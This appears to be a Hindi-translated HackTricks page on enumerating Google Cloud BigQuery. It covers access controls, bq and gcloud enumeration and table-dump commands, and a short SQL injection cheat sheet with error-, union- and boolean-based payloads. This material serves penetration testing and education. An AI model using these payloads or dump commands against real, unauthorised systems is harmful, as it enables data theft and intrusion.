GCP - Bigquery Enum
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Basic Information
Google Cloud BigQuery एक पूर्ण-प्रबंधित, सर्वर रहित उद्यम डेटा वेयरहाउस है, जो पेटाबाइट्स के डेटा पर विश्लेषण की क्षमताएँ प्रदान करता है, इस प्रकार बड़े पैमाने पर डेटा सेट को कुशलता से संभालता है। एक प्लेटफ़ॉर्म के रूप में सेवा (PaaS) के रूप में, यह उपयोगकर्ताओं को डेटा प्रबंधन को सुविधाजनक बनाने के लिए बुनियादी ढाँचा और उपकरण प्रदान करता है बिना मैनुअल निगरानी की आवश्यकता के।
यह ANSI SQL का उपयोग करके क्वेरी करने का समर्थन करता है। मुख्य वस्तुएँ डेटासेट हैं जिनमें टेबल होते हैं जो SQL डेटा को समाहित करते हैं।
Encryption
डिफ़ॉल्ट रूप से एक Google-प्रबंधित एन्क्रिप्शन कुंजी का उपयोग किया जाता है हालांकि एक ग्राहक-प्रबंधित एन्क्रिप्शन कुंजी (CMEK) को कॉन्फ़िगर करना संभव है। यह प्रत्येक डेटासेट और डेटासेट के भीतर प्रत्येक टेबल के लिए एन्क्रिप्शन कुंजी को निर्दिष्ट करना संभव है।
Expiration
यह डेटासेट में एक समाप्ति समय निर्दिष्ट करना संभव है ताकि इस डेटासेट में बनाई गई कोई भी नई टेबल निर्धारित संख्या के दिनों के बाद स्वचालित रूप से हटाई जाएगी।
External Sources
Bigquery अन्य Google सेवाओं के साथ गहराई से एकीकृत है। यह बकेट, pub/sub, google drive, RDS डेटाबेस से डेटा लोड करना संभव बनाता है...
Dataset ACLs
जब एक डेटासेट बनाया जाता है तो ACLs संलग्न किए जाते हैं ताकि इसके ऊपर पहुँच प्रदान की जा सके। डिफ़ॉल्ट रूप से इसे स्वामी विशेषाधिकार दिए जाते हैं उस उपयोगकर्ता को जिसने डेटासेट बनाया और फिर स्वामी को समूह projectOwners (परियोजना के मालिक), लेखक को समूह projectWriters, और पाठक को समूह projectReaders:
bq show --format=prettyjson <proj>:<dataset>
...
"access": [
{
"role": "WRITER",
"specialGroup": "projectWriters"
},
{
"role": "OWNER",
"specialGroup": "projectOwners"
},
{
"role": "OWNER",
"userByEmail": "gcp-admin@hacktricks.xyz"
},
{
"role": "OWNER",
"userByEmail": "support@hacktricks.xyz"
},
{
"role": "READER",
"specialGroup": "projectReaders"
}
],
...
Table Rows Control Access
यह संभव है कि एक प्रिंसिपल द्वारा तालिका के अंदर पहुंच योग्य पंक्तियों को नियंत्रित किया जाए पंक्ति पहुंच नीतियों के साथ। ये तालिका के अंदर DDL का उपयोग करके परिभाषित की जाती हैं।
पहुंच नीति एक फ़िल्टर को परिभाषित करती है और केवल मिलती-जुलती पंक्तियाँ उस फ़िल्टर के साथ उपलब्ध होंगी जो निर्दिष्ट प्रिंसिपलों द्वारा।
# Create
CREATE ROW ACCESS POLICY apac_filter
ON project.dataset.my_table
GRANT TO ('user:abc@example.com')
FILTER USING (region = 'APAC');
# Update
CREATE OR REPLACE ROW ACCESS POLICY
CREATE ROW ACCESS POLICY sales_us_filter
ON project.dataset.my_table
GRANT TO ('user:john@example.com',
'group:sales-us@example.com',
'group:sales-managers@example.com')
FILTER USING (region = 'US');
# Check the Post Exploitation tricks to see how to call this from the cli
# Enumerate row policies on a table
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
कॉलम एक्सेस नियंत्रण
.png)
कॉलम स्तर पर डेटा एक्सेस को प्रतिबंधित करने के लिए:
- एक वर्गीकरण और नीति टैग परिभाषित करें। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। https://console.cloud.google.com/bigquery/policy-tags
- वैकल्पिक: नीति टैग में से एक या अधिक पर एक या अधिक प्रिंसिपल को डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका दें।
- अपने BigQuery कॉलम को नीति टैग असाइन करें। BigQuery में, उन कॉलमों पर नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को प्रतिबंधित करना चाहते हैं।
- वर्गीकरण पर एक्सेस नियंत्रण लागू करें। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं।
- नीति टैग पर एक्सेस प्रबंधित करें। प्रत्येक नीति टैग तक पहुंच को प्रतिबंधित करने के लिए पहचान और पहुंच प्रबंधन (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
जब एक उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery कॉलम नीति टैग और इसकी नीति की जांच करता है कि क्या उपयोगकर्ता डेटा तक पहुंचने के लिए अधिकृत है।
tip
संक्षेप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को प्रतिबंधित करने के लिए, आप स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को प्रतिबंधित कर सकते हैं, टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करके।
वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है:
gcloud services enable bigquerydatapolicy.googleapis.com
यह संभव है कि आप कॉलम के टैग देख सकें:
bq show --schema <proj>:<dataset>.<table>
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
गणना
# Dataset info
bq ls # List datasets
bq ls -a # List all datasets (even hidden)
bq ls <proj>:<dataset> # List tables in a dataset
bq show --format=prettyjson <proj>:<dataset> # Get info about the dataset (like ACLs)
# Tables info
bq show --format=prettyjson <proj>:<dataset>.<table> # Get table info
bq show --schema <proj>:<dataset>.<table> # Get schema of a table
# Get entries from the table
bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'
bq extract <dataset>.<table> "gs://<bucket>/table*.csv" # Use the * so it can dump everything in different files
# Insert data
bq query --nouse_legacy_sql 'INSERT INTO `digital-bonfire-410512.importeddataset.tabletest` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'
bq insert dataset.table /tmp/mydata.json
# Get permissions
bq get-iam-policy <proj>:<dataset> # Get dataset IAM policy
bq show --format=prettyjson <proj>:<dataset> # Get dataset ACLs
bq get-iam-policy <proj>:<dataset>.<table> # Get table IAM policy
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
# Taxonomies (Get the IDs from the shemas of the tables)
gcloud data-catalog taxonomies describe <taxonomi-ID> --location=<location>
gcloud data-catalog taxonomies list --location <location> #Find more
gcloud data-catalog taxonomies get-iam-policy <taxonomi-ID> --location=<location>
# Get jobs executed
bq ls --jobs=true --all=true
bq show --location=<location> show --format=prettyjson --job=true <job-id>
# Misc
bq show --encryption_service_account # Get encryption service account
BigQuery SQL Injection
अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. यहाँ केवल कुछ विवरण दिए जा रहे हैं।
Comments:
select 1#from here it is not working
select 1/*between those it is not working*/
लेकिन केवल प्रारंभिक एक काम नहीं करेगाselect 1--from here it is not working
environment के बारे में information प्राप्त करें जैसे:
- वर्तमान उपयोगकर्ता:
select session_user()
- प्रोजेक्ट आईडी:
select @@project_id
पंक्तियों को जोड़ें:
- सभी तालिका नाम:
string_agg(table_name, ', ')
datasets, tables और column नाम प्राप्त करें:
- Project और dataset नाम:
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
- डेटासेट के सभी तालिकाओं के स्तंभ और तालिका नाम:
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
- एक ही प्रोजेक्ट में अन्य डेटासेट:
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
SQL Injection प्रकार:
- त्रुटि आधारित - कास्टिंग:
select CAST(@@project_id AS INT64)
- त्रुटि आधारित - शून्य द्वारा विभाजन:
' OR if(1/(length((select('a')))-1)=1,true,false) OR '
- यूनियन आधारित (आपको bigquery में ALL का उपयोग करना होगा):
UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
- बूलियन आधारित:
' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
- संभावित समय आधारित - सार्वजनिक डेटासेट का उपयोग उदाहरण:
SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
दस्तावेज़ीकरण:
- सभी फ़ंक्शन सूची: https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators
- स्क्रिप्टिंग कथन: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
विशेषाधिकार वृद्धि & पोस्ट एक्सप्लोइटेशन
स्थिरता
संदर्भ
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।